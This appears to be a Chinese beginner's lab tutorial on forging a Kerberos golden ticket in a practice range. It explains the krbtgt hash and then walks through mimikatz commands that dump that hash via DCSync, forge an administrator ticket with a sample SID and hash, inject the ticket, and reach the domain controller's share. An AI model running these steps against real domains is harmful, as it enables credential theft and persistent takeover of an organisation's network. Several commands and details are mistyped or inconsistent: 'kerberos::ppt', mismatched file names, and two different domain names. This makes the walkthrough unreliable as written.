黄金票据制作-新手入门

0x01 前言

相信准备学习内网渗透的人，都会知道有黄金票据这个事情，而黄金票据的原理是和攻击方式，网站说的都一大堆概念，很难懂，这里我说声明一下，黄金票据的作用在于做权限维持 ，原理在于域服务器上有一个krbtgt用户

0x02 黄金票据和krbtgt 用户的关系

​ Golden Ticket（下面称为金票）是通过伪造的TGT（由身份认证服务授予的票据，用于身份认证，存储在内存，默认有效期为10小时），因为只要有了高权限的TGT，那么就可以发送给TGS（票据授予服务）换取任意服务的ST。可以说有了金票就有了域内的最高权限。

​ 每个用户的Ticket都是由krbtgt的密码Hash来生成的，那么，我们如果拿到了krbtgt的密码Hash，其实就可以伪造任意用户的TICKET，

krbtgt 还有一个特点就是一般他的密码是默认的，管理员一般不会去修改他，而且密码不修改对应的hash 就不会修改，所以当我们获取到了 krbtgt的hash 时，就只需要再获取域内的一台主机去

所以​ 对于攻击者来说，实际上只要拿到了域控权限，就可以直接导出krbtgt的Hash值，，再通过mimikatz即可生成任意用户任何权限的Ticket，也就是Golden Ticket。

0x03 黄金票据制作

这里我用的环境是 红日靶场的

一、红日靶场环境

https://bbs.ichunqiu.com/thread-61400-1-1.html
黄金票据的制作要求， 一个是 krbtgt 用户的hash ，另外一个是你当前用户的sid

二、制作条件

制作金票的条件：
1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名，可以是任意的

①.获取域名称

systeminfo 或者 ipnconfig /all

②、域的SID值
执行 whoami /all
S-1-5-21-2756371121-2868759905-3853650604 这里注意 后面的500是权限数字，不是sid值。

③、获取 krbtgt 的hash值

使用管理员权限运行cmd 然后执行mimikztz ， mimikatz
1、提升权限
privilege::debug

2、然后在拿到的域控机子上执行mimikatz "lsadump::dcsync /domain:test666.com /user:krbtgt"
/domain 后面带的是域名

3、获取到的hash为82dfc71b72a11ef37d663047bc2088fb

三、制作命令

1、这时候，我们在域用户的主机上执行
kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:2.kiribi

然后当下目录就会出现 2.kribi文件

2、然后我们再把 2.kribi 利用mimikatz 进行导入
kerberos::purge #清空已有票据
kerberos::ppt 2.kiribi #导入票据
kerberos::list # 查看票据

3、验证
1、此时就可以通过dir成功访问域控的共享文件夹。这里10.10.10.10 为域控主机

输入 klist 查看票据

输入 klist purge 清除票据

0x04 总结

黄金票据是伪造票据授予票据（TGT），也被称为认证票据。如下图所示，与域控制器没有AS-REQ或AS-REP（步骤1和2）通信。由于黄金票据是伪造的TGT，它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。

如果你们感觉这个文章对你们有用，麻烦各位大佬给个赞，激励我继续写文章。

0x05 引用

https://shu1l.github.io/2020/06/06/qian-xi-huang-jin-piao-ju-yu-bai-yin-piao-ju/

黄金票据的制作与使用